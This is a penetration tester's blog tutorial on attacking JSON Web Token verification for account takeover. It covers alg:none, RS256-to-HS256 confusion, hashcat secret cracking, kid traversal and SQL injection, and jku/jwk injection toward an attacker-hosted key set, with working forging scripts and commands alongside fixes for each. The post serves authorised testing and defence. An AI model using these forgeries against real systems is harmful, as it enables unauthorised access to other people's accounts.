Ramis. All writing

cybersecurity

Forging Trust: JWT Attacks That End in Account Takeover

2026-06-23·9 min read

Most JWT write-ups stop at "the token is a base64 blob, here is the decoded payload, isn't it neat that I can read the claims." Reading a JWT is not a finding. A JWT is designed to be read; the whole point is that the client can see the claims and only the server can vouch for them. The finding is when the server will believe a token you built yourself. That is the line between a decoded payload in a screenshot and an impact sentence that reads "an unauthenticated attacker can mint a valid session for any user, including admins." This post is the set of JWT attacks I actually reach for on a live target, in the order I try them, and how each one turns into account takeover rather than a curiosity. The value, as always, is that it is boring and repeatable. You are not being clever. You are checking whether the server does the one thing it is supposed to do: verify the signature the way it claimed it would.

Before any of this, grab a valid token from the application and decode the header and payload. The header tells you the algorithm and any key hints (alg, kid, jku, jwk). The payload tells you which claims decide who you are: usually sub, user_id, email, role, or is_admin. Those claim names are your targets for every attack below. If you can get the server to accept a token where you control those, you win.

Step 1 - Try alg:none, because people still ship it

The none algorithm is a legitimate part of the JWT spec: it means "unsigned token, no verification." A correct server rejects it outright. A surprising number of libraries, especially older or hand-rolled ones, treat alg: none as a valid verification path and skip the signature check entirely. If they do, you do not need any key at all. You set the algorithm to none, write whatever claims you like, and send an empty signature.

The tampered header is simply:

{ "alg": "none", "typ": "JWT" }

Forging the token is three lines. You do not even need a JWT library, but it is cleaner to be explicit about the empty signature:

import base64, json

def b64(obj):
    return base64.urlsafe_b64encode(json.dumps(obj).encode()).rstrip(b"=")

header  = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1", "role": "admin", "email": "victim@target.tld"}

# note the trailing dot: header.payload. with an empty signature
token = b64(header) + b"." + b64(payload) + b"."
print(token.decode())

Try variants: none, None, NONE, nOnE. Some allowlists are case-sensitive and only block the lowercase spelling. If the server hands back protected data or an authenticated response for the forged sub, that is a full authentication bypass with no secret involved.

The fix is to pin the accepted algorithm on the server and refuse none unconditionally. Never let the token's own header choose the verification method.

Step 2 - RS256 to HS256 algorithm confusion

This is the one that pays, and it hides inside code that looks careful. The server issues RS256 tokens: signed with a private RSA key, verified with the public key. The public key is not a secret; it is often published at a JWKS endpoint or embedded in a certificate. The bug is a verification call that trusts the token header to pick the algorithm, something like verify(token, publicKey) with no algorithm allowlist. If you change the header to HS256, the library now treats that same public key as the symmetric HMAC secret. And you have the public key. So you can compute a valid HMAC signature yourself.

First, get the public key. Most of the time it is sitting at a well-known path:

curl -s https://api.target/.well-known/jwks.json
# or the OIDC config that points to it:
curl -s https://api.target/.well-known/openid-configuration

If you get a JWKS with n and e values, reconstruct the PEM (jwt_tool or a short script will do it). If the app exposes a TLS or signing certificate, openssl x509 -pubkey gives you the PEM directly. Save it as public.pem, exactly as the server stores it, including the trailing newline, because the HMAC is over the exact bytes.

Now forge an HS256 token signed with that PEM as the secret:

import jwt  # PyJWT

with open("public.pem", "rb") as f:
    public_key = f.read()

forged = jwt.encode(
    {"sub": "1", "role": "admin", "email": "victim@target.tld"},
    key=public_key,
    algorithm="HS256",
)
print(forged)

Modern PyJWT resists encoding an asymmetric key as HMAC, so if it complains, drop to a manual HMAC over the header.payload string with public_key as the key. The maths is not special; it is hmac-sha256(public_key, signing_input), base64url the digest, append it. Send the token. If the server accepts it, you can sign a token for any sub or role you want, and that is account takeover of arbitrary users including admins.

The root-cause fix: verify with an explicit algorithm allowlist that matches the key type, for example verify(token, key, algorithms=["RS256"]). If the deployment only ever issues RS256, HS256 must never be an accepted verification path.

Step 3 - Crack a weak HMAC secret

If the app genuinely uses HS256, the security of every session rests on one shared secret. Developers pick things like secret, jwt_secret, the app name, or a value copied from a tutorial. A JWT carries everything an offline cracker needs: the signed input and the signature. So you do not attack the server at all. You take one valid token and let hashcat grind it.

Hashcat mode 16500 is JWT. Feed it the raw token and a wordlist:

hashcat -a 0 -m 16500 token.jwt rockyou.txt
# then a rules pass, then a masked brute force for short secrets:
hashcat -a 3 -m 16500 token.jwt '?a?a?a?a?a?a?a?a'

Realistically this only lands when the secret is low entropy: a dictionary word, a short string, or a predictable pattern. A properly random 256-bit key will not fall to a wordlist, and you should not waste days pretending it will. But anything under roughly 8 to 10 characters of human-chosen text is squarely in range on commodity hardware. Once hashcat prints the secret, forging is trivial:

import jwt
forged = jwt.encode({"sub": "42", "user_id": 42, "role": "admin"},
                    key="s3cr3t", algorithm="HS256")

Change sub or user_id to the victim and you are them; set role to admin and you own the tenant. The fix is a long, random, secret from a CSPRNG stored outside the codebase, rotated on any suspected exposure. For anything multi-service, asymmetric signing done correctly is the better default so the secret never has to be shared.

Step 4 - kid, jku, jwk header injection

The header can also tell the server where to find the verification key, and that indirection is attacker-controllable input. Three variants, all the same root cause: the server trusts a token to nominate its own key.

kid (key ID) is often used to look up a key by name. If the lookup hits the filesystem, path traversal can point it at a file whose contents you can predict. A classic is aiming kid at a known-contents file and using that as the HMAC secret:

{ "alg": "HS256", "kid": "../../../../dev/null" }

/dev/null reads as empty, so you sign with an empty string as the secret and the server verifies against the same empty string. If kid feeds a SQL query, an injection like kid": "none' UNION SELECT 'mykey can make the database return a key value you chose.

jku (JWK Set URL) and x5u tell the server to fetch keys over HTTP. If the server does not allowlist the host, point jku at a JWKS you host, sign with your matching private key, and it fetches your key and validates your forgery:

{ "alg": "RS256", "jku": "https://attacker.tld/jwks.json", "kid": "1" }

jwk embeds the public key directly in the header. If the server trusts an embedded jwk instead of its own pinned key, you supply your own keypair, embed the public half, sign with the private half, done.

The fix for all three: never resolve keys from token-controlled input without constraint. Pin kid to a fixed set of known IDs, ignore jwk/x5c in the header entirely, and if jku/x5u is used at all, allowlist the exact host.

Step 5 - Claims not bound, or signatures never checked

The quiet one. Sometimes the signature is fine and the flaw is that nothing ties the claims to the session, or the verification step was never wired up. I have seen middleware that decodes the token, reads role, and enforces authorisation, while a separate service reads user_id from the same token but never verifies the signature, trusting that an upstream gateway already did. Send that service a hand-edited token with a bumped user_id and it serves the victim's data.

Test it directly: take a valid token, flip one character in the signature, and replay it. If the response is unchanged, the signature is not being verified on that path and you can put any claims you like into the payload. Also check whether claims survive independently of session state: if you can take a low-privilege user's genuinely signed token and the backend re-reads role from it without cross-checking server-side state, a stale or elevated claim becomes privilege escalation. The fix is to verify the signature on every trust boundary, not just the edge, and to bind sensitive claims to authoritative server-side state rather than trusting the token as the source of truth.

Reporting so it gets paid

Lead with the impact, not the mechanism. "An unauthenticated attacker can forge a valid session token for any account, including administrators, because the API verifies JWTs without pinning the algorithm and accepts HS256 signed with the public RSA key." Then prove it cleanly: two accounts, the exact public key you pulled and from where, the forge script, and the request that returns the victim's data with your forged token in the Authorization header. Screenshot the response showing the victim's sub or email, not just a 200. Triage teams downgrade JWT reports when they cannot tell a decoded token from an accepted forgery, so make acceptance unambiguous: show the server acting on a claim only you could have set. Include the one-line fix in the report; it shortens the back-and-forth and it is the difference between a Medium "informational" close and a Critical payout.

Takeaways

Written by Muhammad Ramis, a software & AI engineer and OSCP+ penetration tester based in Nottingham, UK. Available for consultancy, contract and senior/staff roles.